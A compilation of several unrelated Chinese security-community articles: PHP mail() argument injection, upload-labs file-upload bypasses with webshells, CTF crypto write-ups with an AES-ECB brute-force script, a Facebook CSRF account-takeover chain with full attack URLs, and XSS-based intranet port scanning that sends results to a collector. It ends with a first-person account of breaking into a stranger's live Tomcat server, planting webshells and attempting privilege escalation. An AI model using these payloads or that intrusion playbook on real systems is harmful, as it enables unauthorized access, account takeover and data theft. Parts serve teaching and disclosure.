本节描述了一些绕过技术，可能用于类似的保护绕过。
下面两种被用于绕过PHP 电子邮件库提供的保护。
**1\. RFC3696和RFC822**
RFC3696和RFC822标准如下：https://tools.ietf.org/html/rfc3696
<https://www.ietf.org/rfc/rfc0822.txt> 。
邮件采用下面格式：
这些标准允许作者构建一个可靠的符合RFC的电子邮件地址，但是同时一个恶意的payload作为mail()的5th参数：
当传递给有漏洞的PHP邮件库，然后是mail()函数，它将导致sendmail执行下面的参数：
因此，攻击者打破了-f参数，且注入了额外的参数（arg no.4和arg no.5）。
**2\. 绕过mail()使用的escapeshellcmd()**
很直观的看到，通过mail()函数的5th参数传递的额外的参数应该被escapeshellcmd()函数转义。
不幸的是，它和mail()函数内部执行的命令逃逸冲突。
好的例子是CVE-2016-10033漏洞继而有CVE-2016-10045漏洞，因为这样的修复能被绕过，因为冲突：
将导致下面的参数传递给sendmail程序：
再次导致任意参数传递给/usr/sbin/sendmail。
**0x09 参考**
[0] <https://legalhackers.com/>
[1] <https://www.ietf.org/rfc/rfc2821.txt>
[2] <http://php.net/manual/en/function.mail.php>
[3] <http://www.sendmail.org/~ca/email/man/sendmail.html>
[4] <http://www.postfix.org/mailq.1.html>
[5] <https://linux.die.net/man/8/exim>
[6] <https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html>
[7]
<https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py>
[8] <https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html> | 社区文章 |
## 文件上传
"文件上传"功能已经成为现在Web应用的一种常见需求，它不但有助于提供业务效率(例如：企业内部文件共享)，更有助于优化用户的体验（例如：上传视频、图片、头像等各种其他类型的文件）。"文件上传"功能一方面带来了良好的体验，另一方面也带来的“安全问题”。目前文件上传漏洞已经成为web安全中经常利用到的一种漏洞形式，对于缺少安全防护的web应用，攻击者可以利用提供的文件上传功能将恶意代码植入到服务器中，之后再通过url去访问以执行代码达到攻击的目的。
## 漏洞成因
造成文件上传漏洞的原因有：
* 开源编辑器的上传漏洞
* 服务器配置不当
* 本地文件上传限制被绕过
* 过滤不严或被绕过
* 文件解析漏洞导致文件执行
* 文件路径截断
## 利用条件
* 恶意文件可以成功上传
* 恶意文件上传后的路径
* 恶意文件可被访问或执行
## 文件检测
首先我们可以先来了解一下文件上传的过程，一个文件上传需要经过哪些检测流程或者说可以有哪些检测流程对文件进行检测~
通常一个文件以HTTP协议进行上传时，将以POST请求发送至web服务器，web服务器接收到请求后并同意后，用户与web 服务器将建立连接，并传输data：
而一般一个文件上传过程中的检测如下图红色标记部分：
A 客户端 javascript 检测 (通常为检测文件扩展名)
B 服务端 MIME 类型检测 (检测 Content-Type 内容)
C 服务端目录路径检测 (检测跟 path 参数相关的内容)
D 服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
E 服务端文件内容检测 (检测内容是否合法或含有恶意代码)
## 检测绕过
### 客户端JavaScript绕过
这类检测通常在上传页面里含有专门检测文件上传的javascript代码，最常见的就是检测扩展名是否合法：
对于上面的客户端检测方式可以通过禁用前端JS或者使用burpsuite修改请求数据包的方法来绕过，下面以upload-labs中的Pass-01为例做演示，主要代码如下所示：
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php'
?>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
</script>
从上述代码可以看到，这里首先构建了一个上传表单，在提交时会自动调用前端JS中的checkFile()函数来对文件的类型进行检查，如果隶属于允许上传的文件类型则会通过校验，否则以弹框的方式提示文件格式不允许，这是一种典型的客户端校验。
在常规的渗透测试过程中，我们根本无法获取到目标网站对于上传文件校验的源代码设计，那么如何判断文件是客户端校验还是服务器端校验呢？我们可以通过burpsuite来进行简易判断，具体流程如下：
首先，在本地创建一个shell.php文件，之后直接上传该文件，同时这是burpsuite作为代理，如果burpsuite未捕获到通信数据包且浏览器端已完对文件的校验，那么这种方式就属于客户端校验，例如：
#### 禁用JS绕过客户端校验
1、在Firefox地址栏里输入“about:config”
2、在搜索栏输入“javascript.enabled”查找到首选项。
3、点击鼠标右键选择“切换”，把“javascript.enabled”键值改为“false”
之后再次上传shell.php文件，发现成功上传，且直接忽视前端js的校验：
服务器端成功上传shell.php文件：
#### burpsuite改包绕过客户端校验
首先，修改shell.php为shell.jpg，这里修改的目的是绕过前端的校验，之后上传该shell.jpg文件，同时使用burpsuite抓包：
之后修改shell.jpg为shell.php，释放数据包：
之后成功上传shell.php
shell.php已被成功上传到服务器端：
使用菜刀成功连接shell：
### 服务器端MIME类型检测绕过
MIME类型检测属于白名单检测的一种，在服务器端完成，它会对上传文件请求包中Content-Type的内容进行校验，判断是否属于白名单，如果不属于则不允许上传。
下面以upload-labs的Pass-02为例做绕过演示，具体代码如下：
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
从以上代码中可以看到，此处对文件的Type进行了检查，只允许：image/jpeg、image/png、image/gif三种格式，而且直接为服务器端校验，对于服务端的这种校验方式，我们可以通过burpsuite抓包来更改content-Type为其允许的类型即可！
这里模拟一下黑盒测试，首先创建一个shell.php文件，之后上传该文件：
从上面可以看到，先上传文件，之后通信数据经过burpsuite，之后再回显"提示：文件类型不正确，请重新上传！"，所以，此处检测为服务器端检测，而且提示的关键信息为"文件类型不正确"，由此定位检测点为content-type！
之后上传shell.php，同时使用burpsuite抓包：
修改content-type为：image/jpeg
之后释放数据包，成功上传shell.php
服务器端成功上传shell.php:
#### 服务器端目录路径检测绕过
目录路径检测，一般就检测路径是否合法：
针对上面的检测方法可以通过00截断的方式来绕过，下面以upload-labs的Pass-12为例：
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form action="?save_path=../upload/" enctype="multipart/form-data" method="post">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
这里采用了白名单判断，但是$img_path直接拼接，所以可以先上传一个符合白名单检测的jpg文件，之后再burpsuite中使用%00截断保存路径即可绕过检测，最后保存一个php类型的木马文件。
首先，上传一个shell.jpg格式的文件，之后使用burpsuite抓包：
之后在save_path处使用%00截断构造保存的文件名：
使用菜刀连接
#### 文件扩展名检测绕过
这种检测方式会对文件的后缀名进行检测，常见的有白名单和黑名单两种。
假定服务器端采用黑名单检测方式，这里借助upload-labs来演示通过后缀名大小写绕过检测(其余情景还很多，例如：.htaccess攻击、空格绕过、解析绕过、双写后缀绕过等，有兴趣的可以自我研习)，以下代码取自upload-labs的Pass-06
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件类型不允许上传！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
从以上代码中可以看到，这里采用了黑名单检测方法，但是在使用文件后缀名与黑名单中的后缀名进行匹配时未先转小写，导致可以使用大小写后缀的方式来绕过。
直接上传shell.PHp文件：
从回显结果来看成功上传：
#### 服务器端文件内容检测绕过
文件内容检测及对上传的文件的内容进行检查，常见检查方法有：幻数检测、exif_imagetype()检测、getimagesize()检测、二次渲染等。
这里以幻数检测绕过为例做一个简单的演示，以下代码来自upload-labs的Pass-14:
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知，上传失败！";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错！";
}
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传<code>图片马</code>到服务器。</p>
<p>注意：</p>
<p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code>或<code>webshell</code>代码。</p>
<p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
<p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关！</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片：<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示：".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
从代码层面来看应该是检测的文件的幻数，那么我们在文件内容的开头增加幻数就OK!
首先，上传shell.jpg，同时使用burpsuite抓包：
之后在文件内容处加入幻数：
从上面可以看到成功上传文件，该漏洞的利用还需要借助文件包含漏洞，例如：
### 防御策略
1、严格规范文件上传处理逻辑设计，不建议先存储后判断的方式，以免引起条件竞争类漏洞。
2、严格检查上传的文件后缀名、Content-Type、文件内容等。
3、定时修复服务器端的解析类漏洞，以及文件包含类漏洞避免漏洞组合。 | 社区文章 |
# Ordinary keybord
这个题目为典型的凯撒密码变幻，最初题目已经给出了很多字母的对应形式。
李磊是一名程序员，在他的笔记本里有一些这样的记录：
QQ:iloveyou521
blog:blog132
wechat:wechat190
看着应该像是密码，于是尝试去登录，发现密码错误
后来一打听，原来他将这些密码经过自己写的一个简单的加密算法变成真实的密码，而自己笔记本中存放的只是一些虚假的密码，只是方便记忆而已
其真实密码如下：
QQ:+p)g$_)'521
blog:hp)u132
wechat:A$ezr&190
根据这些对应关系，先列出一直的对应关系如下：
i:+ 105:43
l:p 108:112
o:) 111:41
v:g 118:103
e:$ 101:36
y:_ 121:95
u:' 117:39
b:h 98:104
g:u 103:117
w:A 119:65
c:e 99:101
h:z 104:122
a:r 97:114
t:& 116:38
然后看flag格式如下:flag is spru.r5sf3h7660h7394e169699hffe0s0h$4,
其中spru肯定对应为flag，这样我们就又多了三个对应 f:s .:{ ,:}
，然后根据现有的对应关系，我们还看到，数字在加密时候不发生变化，这样一来，我们先试图将flag还原一下，还原之后flag为：flag{a5f?3b7660b7394c169699b??c0f0be4}
？代表的是未知，因为我们不知道哪一个字母和f对应，但是根据之前的对应关系，我们找出，还没有对应关系的字母只有k d j m n p q r s x
z，然后我们依次试了一下，发现d是正确答案。flag为: flag{a5fd3b7660b7394c169699bddc0f0be4}
# 简单的密码
这个题需要nc对面的端口，nc之后发现如下回应:
题目意思很明确，通过nc我们可以得到(我们输入明文)的AES或者(我们输入的明文+flag)的AES。本题的AES加密为ECB，16个字符为一组。所以我们考虑一下问题：假设flag为flag{xxxxxxxxx}。当我们输入123456789012345的时候，输入的个数为15位，这样flag里面的内容就需要向前补一位，实际上第一组加密的字符串可能是123456789012345f。然后我们再加密123456789012345f，如果两次加密的前16位得出的结果一样的话，这就证明flag的第一位就是f。我们先试验一下。
由上图可知，我们的猜测是正确的，这个方法可行。然后我们继续验证123456789012和123456798012flag,发现依旧正确。
这样我们就可以开始编写脚本，逐位爆破flag，脚本如下：
#!/usr/bin/env python2
# -*- coding: UTF-8 -*- import socket
HOST = '101.71.29.5' # The remote host
PORT = 10014 # The same port as used by the server
s = None
temp='{1234567890}abcdefghijklmnopqrstuvwxyz_?#@!'
sock = socket.socket()
sock.connect((HOST,PORT))
szBuf = sock.recv(1024)
print(szBuf)
szBuf = sock.recv(1024)
print(szBuf)
t=str(2)+'\n'
b1=t.encode(encoding='utf-8')
sock.send(b1)
szBuf = sock.recv(1024)
print(szBuf)
t=str('1234567890')+'\n'
b1=t.encode(encoding='utf-8')
sock.send(b1)
szBuf = sock.recv(1024)
print(szBuf)
print szBuf[4:100]
xxx=str(szBuf[4:100])
szBuf = sock.recv(1024)
print(szBuf)
payload=str('1234567890flag{19d2c4bbb9ee4dd22537f1743f334df0')
for i in temp:
t = str(2) + '\n'
b1 = t.encode(encoding='utf-8')
sock.send(b1)
szBuf = sock.recv(1024)
# print(szBuf)
ppp=payload+i+'\n'
# print(ppp)
p=ppp.encode(encoding='utf-8')
print(p)
sock.send(p)
szBuf = sock.recv(1024)
# print(szBuf)
# print szBuf[4:36]
yyy=str(szBuf[4:100])
if cmp(xxx,yyy)==0:
print(yyy)
print(1111111111111111111111111111111111111111111111)
break
szBuf = sock.recv(1024)
不知道是不是对面服务器的原因，socket老是阻塞，本来我想着直接一个脚本爆出来，然后发现有的时候爆破一位就需要阻塞好刺激，只能手动脚本逐位爆破，关键flag还是一个md5码(天啊),最终爆破得到flag如下：
然后通过nc对flag进行AES验证，发现和服务器给出的AES一模一样，get!
总结：每次ctf都会出一些新花样，虽然每次都有不会做的题目，但是希望从每次比赛中慢慢积累经验，慢慢学习，共勉！ | 社区文章 |
# 前言
此漏洞允许攻击者利用CSRF令牌向Facebook上的任意端点发送请求，从而导致受害者帐户接管。为了使此攻击有效，攻击者必须诱使目标单击某个链接。
# 示范
这是因为有一个易受攻击的端点，它获取攻击者选择的另一个给定的Facebook端点以及参数，并在添加`fb_dtsg`参数后向该端点发出POST请求。给定的端点位于主域`www.facebook.com`下，这使得攻击者更容易欺骗受害者访问URL。
易受攻击的端点：
https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX
其中XXXX带有将在其中发出POST请求的参数的端点(CSRF令牌fb_dtsg将自动添加到请求主体)。
如果受害者访问此URL，我们可以采取许多措施。
## Make a post on timeline:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
## 删除个人资料（Delete Profile Picture）：
https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
## 欺骗用户删除其帐户(在使用“locale”参数更改语言后)
https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR
# 帐户接管方法
要接管帐户，我必须向受害者帐户添加一个新的电子邮件地址或电话号码。这里的问题是，受害者必须访问两个单独的URL，一个用于添加电子邮件/电话，另一个用于确认，因为用于添加电子邮件或电话号码的“普通”端点没有“next”参数来在请求成功后重定向用户。
因此，为了绕过这一点，我需要找到出现“next”参数的端点，从而可以使用单个URL进行帐户接管。
1.我们将攻击者应用程序授权为用户，然后我们重定向到`https://www.facebook.com/v3.2/dialog/oauth`——它将自动重定向到攻击者网站，其中`access_token`具有允许该应用程序使用的作用域(这是在没有用户交互的情况下发生的，因为应用程序已经使用端点`/ajax/appcenter/redirect_to_app`进行了授权)。
此URL应发送给用户：
https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog
此步骤适用于多种情况：
首先使用端点`/v3.2/dialog/oauth`绕过“next”参数中的Facebook重定向保护，该参数会阻止对外部网站的重定向尝试，即使这些尝试是使用`linkshim`完成的。
其次，使用接收到的令牌来识别每个受害者，这将有助于稍后提取该特定用户的确认码。
2.攻击者网站接收用户的访问令牌，在该域下为用户创建一封电子邮件，然后将用户重定向到：
https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]
此URL执行以下操作：
首先，它使用端点`/ add_contactpoint / dialog / submit /`将电子邮件链接到用户帐户（不需要密码确认）。
链接后，它将重定向到“next”参数中的选定端点：
"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"
它将使用用户access_token再次重定向到“ATTACKER_DOMAIN”。
3.攻击者网站接收`access_Token`，提取用户ID，然后搜索收到的该用户的电子邮件，获取确认链接，然后再次重定向到：
https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}
（CODE和HASH在收到的Facebook电子邮件中）
对于攻击者来说，此方法更简单，但在链接后，端点会将受害者重定向到
https://www.facebook.com/settings?section=email
这会显示新添加的电子邮件，因此可以使用`/confirm_code/dialog/submit/`端点完成确认，该端点有一个“next”参数，可以在确认完成后将受害者重定向到主页。
4.电子邮件现在已添加到受害者帐户，攻击者可以重置密码并接管该帐户。
这个攻击看起来很长，但在转瞬之间就完成了，这个攻击的危险之处就在于它不针对某一特点用户，而是只要你点击了步骤1中的链接，你就会掉进了陷阱。
# 时间线
2018年1月26日——发送报告
2018年1月26日——facebook确定bug
2018年1月28日——发送更多详细信息
2018年1月31日——facebook完成修复
2018年2月12日——facebook奖励$25,000赏金
翻译文章：https://ysamm.com/?p=185 | 社区文章 |
# XSS的另一种利用思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
安全测试人员在测试XSS漏洞的时候,用得最多的方式是利用XSS钓鱼攻击,盗取会话凭证,挟持会话。当然还有很多其他利用方式,但是却很少涉及内网渗透环节。换一种思路,XSS还可以做很多意想不到的事,本文通过实践介绍利用js进行内网端口扫描的渗透思路
## 获取局域网IP
进行内网端口扫描首先第一点要获取内网IP,这是最关键的一步,这里有一个前辈的Demo:
使用的WebRTC技术获取当前访问者的局域网IP,具体的js实现如下
function getlanip(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
if (!RTCPeerConnection) {
var iframe = document.createElement('iframe');
iframe.sandbox = 'allow-same-origin';
iframe.style.display = 'none';
document.body.appendChild(iframe);
var win = iframe.contentWindow;
window.RTCPeerConnection = win.RTCPeerConnection;
window.mozRTCPeerConnection = win.mozRTCPeerConnection;
window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
}
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = undefined;
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;}
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
## WebRTC
WebRTC，是网页实时通信（Web Real-Time
Communication）的缩写，是一个支持网页浏览器进行实时语音对话或视频对话的技术。WebRTC 实现了基于网页的视频会议，标准是 WHATWG
协议，目的是通过浏览器提供简单的 Javascript 就可以做到实时通讯。WebRTC 项目的最终目的主要是让 Web
开发者能够基于浏览器轻易快捷地开发出丰富的实时多媒体应用，而无需下载安装任何插件，Web 开发者也无需关注多媒体的数字信号处理过程，只需编写简单的
Javascript 程序即可实现，很多浏览器包括Firefox Chrome,360极速浏览器都已经支持WebRTC， 但是 **Internet
Explorer** 和 **Safari** 尚未支持 WebRTC。
## JS端口扫描
有了局域网IP，利用sciprt标签加载js函数执行，然后利用 **html onload** 事件结合 **img标签**
当然可以这里可以使用其他的比如： **iframe标签** 等，把加载成功的IP,端口信息传回我们的接收端,这里我用 **Flask**
简单的写了一个接收端
#!/usr/bin/env python3
#coding:utf-8
from flask import Flask,request
app = Flask(__name__)
@app.route(rule='/')
def index():
args = request.args
for k,v in args.items():
print(k,v)
return str()
if __name__ == '__main__':
app.run(debug=True)
下面是一个简单的 **扫描函数** 和数据 **传回函数**
//数据传回
var TagName = document.getElementsByTagName("body")[0];
function post_data(ip,port){
var img = document.createElement("img");
img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port);
img.setAttribute("style","display:none")
TagName.appendChild(img);
}
//简单端口扫描
getlanip(function(ip){
//判断内网IP
if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){
ip = ip.split(".");
ip.pop();
ip = ip.join(".");
for(var i = 1;i<=255;i++){
var script = document.createElement("script");
var ip_url = ip + "." + i + ":80";//3306
script.setAttribute("src","http://" + ip_url);
script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");/／3306
TagName.appendChild(script);
}
}
});
随便一个html引入js文件,加载效果图
在服务端成功的接收到了开放80端口的ip
当然其他端口也是可以的只要支持http协议访问的比如3306
探测到开放3306端口的主机
这样实现了一个简单的局域网ip端口的功能
## 结语
当怀疑某处存在xss漏洞而我们又想知道内网具体的ip端口情况时，我们就可以利用这种方式实现局域网端口探测,有点类似于SSRF，但是通过XSS也同样可以实现 | 社区文章 |
# 前因
昨天安逸的吹水群突然火爆了起来，消息99+ ，大体浏览的一下，有个伙计搞到了一个站，在群里一发，那场面，锣鼓喧天，鞭炮齐鸣，红旗招展，人山人海。
# 发展
我定睛一看，这特么不是漏点了吗？
正好手头没事，我也来搞一下
xx.xx.xx.xx
# 信息收集
知道了ip简单收集一下信息
老外的站，就开了80，443 两个端口，没什么价值。
# 获取shell
打开网站映入眼帘的是。。。。。。
哟，老相识啊，这玩意大家都知道。。。弱口令-->部署shell
果然不出所料
这里先不着急部署包，群里的伙计已经搞到shell了，我就不用画蛇添足了，直接偷家
就是这个了，话说这个马的功能还挺多的支持上传下载
但是好久没用都忘记怎么使用了
没啥好说的直接开干
绝对路径
/var/lib/tomcat8/webapps/ROOT/WEB-INF/classes/
可以看到第三条 这个包里边自带一个shell，可以直接获得
没有任何问题，访问一下，空白页面就ok了
直接掏出蚁剑连接
不要问我密码哪里来的，问就是把文件下载解压。。。。。。
连接不上？？难道密码改过了，卧槽 ，这年轻人不讲武德！
目前是tomcat权限，感觉这个部署的包有问题执行命令总是失败，以前没遇到这种问题
查看文件不行，echo也不行
没办法了只能自己上传一个包
部署完了写入可用接收数据的文件，再写入小马，但是写入的时候，文件名的前面总是自动加一个反斜杠
导致文件无法访问
看来这种方式不行
那就直接写能上传的小马试试吧
中间试过了各种大马小马 都不解析 难受。。。。。（这个站有毒吧）
最终找了个一句话马，虽然报错，但是不妨碍连接
拿到shell 搜集一下信息，下一步准备提权
# 踏上提权的道路
通过简单的查看，是个Amazon主机，没有gcc，不能访问外网
手头没有合适版本的机器，没办法编译
试试能不能SUID提权
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
奈何没有可用的功能
再看看crontab有没有可利用的
bash-4.2$ ls -l /etc/cron*
-rw------- 1 root root 0 Sep 28 2016 /etc/cron.deny
-rw-r--r-- 1 root root 457 Jan 6 2012 /etc/crontab
/etc/cron.d:
total 20
-rw-r--r-- 1 root root 113 Sep 28 2016 0hourly
-rw-r--r-- 1 root root 155 Nov 2 2017 awslogs
-rw-r--r-- 1 root root 303 Oct 22 10:55 publishlogs
-rw-r--r-- 1 root root 108 Sep 18 2014 raid-check
-rw-r--r-- 1 root root 176 Oct 31 2014 update-motd
/etc/cron.daily:
total 12
-rwx------ 1 root root 180 Jul 9 2003 logrotate
